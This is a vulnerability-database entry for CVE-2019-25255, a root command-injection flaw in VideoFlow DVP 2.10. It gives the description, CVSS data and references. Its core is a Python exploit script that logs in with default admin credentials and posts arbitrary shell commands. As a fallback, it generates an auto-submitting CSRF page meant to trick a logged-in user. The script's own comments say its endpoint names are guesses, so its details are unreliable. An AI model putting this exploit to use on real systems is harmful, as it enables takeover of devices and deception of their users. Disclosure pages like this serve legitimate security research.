CVE-2019-25255

Description

VideoFlow Digital Video Protection DVP 2.10 contains an authenticated remote code execution vulnerability that allows attackers to execute system commands with root privileges. Attackers can exploit the vulnerability through a cross-site request forgery (CSRF) mechanism to gain unauthorized system access.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

VideoFlow Digital Video Protection DVP 2.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2019-25255 PoC - VideoFlow DVP 2.10 RCE via CSRF
Note: This is a demonstration code for security research only.
"""
import requests
import sys

target = "http://target-server:8080"  # Replace with actual target
username = "admin"
password = "admin"

def exploit(target_url, cmd):
    """
    Exploit authenticated RCE via command injection
    """
    session = requests.Session()
    
    # Step 1: Authentication
    login_url = f"{target_url}/login"
    login_data = {
        "username": username,
        "password": password
    }
    
    try:
        resp = session.post(login_url, data=login_data, timeout=10)
        if resp.status_code != 200:
            print(f"[-] Login failed with status {resp.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False
    
    # Step 2: Command Injection
    # Note: Actual endpoint and parameter names need to be identified
    # through further reconnaissance
    rce_url = f"{target_url}/api/system/execute"
    rce_data = {
        "command": f"{cmd}",
        "args": ""
    }
    
    try:
        resp = session.post(rce_url, data=rce_data, timeout=10)
        if resp.status_code == 200:
            print(f"[+] Command executed successfully")
            print(f"[+] Response: {resp.text}")
            return True
        else:
            print(f"[-] Exploitation failed with status {resp.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Request error: {e}")
        return False

def csrf_exploit(target_url, cmd):
    """
    CSRF-based exploitation (for when attacker doesn't have credentials)
    Generates HTML page that will auto-submit malicious request
    """
    html_template = f'''
    <!DOCTYPE html>
    <html>
    <head><title>Loading...</title></head>
    <body>
    <form id="exploit" action="{target_url}/api/system/execute" method="POST">
        <input type="hidden" name="command" value="{cmd}">
        <input type="hidden" name="args" value="">
    </form>
    <script>document.getElementById("exploit").submit();</script>
    </body>
    </html>
    '''
    with open("csrf_exploit.html", "w") as f:
        f.write(html_template)
    print("[+] CSRF exploit page generated: csrf_exploit.html")
    print("[+] Trick authenticated user into visiting this page")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2019-25255.py <target_url>")
        print("Example: python cve-2019-25255.py http://192.168.1.100:8080")
        sys.exit(1)
    
    target_url = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Executing command: {cmd}")
    
    # Try direct exploitation first
    if not exploit(target_url, cmd):
        # Fallback to CSRF method
        print("[*] Falling back to CSRF method...")
        csrf_exploit(target_url, cmd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25255
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25255
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25255/
[4] VulDB https://vuldb.com/cve/CVE-2019-25255
[5] http://www.video-flow.com
[6] https://www.exploit-db.com/exploits/44387
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5455.php
[8] http://www.video-flow.com
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5455.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25255", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:54.160", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VideoFlow Digital Video Protection DVP 2.10 contains an authenticated remote code execution vulnerability that allows attackers to execute system commands with root privileges. Attackers can exploit the vulnerability through a cross-site request forgery (CSRF) mechanism to gain unauthorized system access."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "http://www.video-flow.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44387", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5455.php", "source": "[email protected]"}, {"url": "http://www.video-flow.com", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5455.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}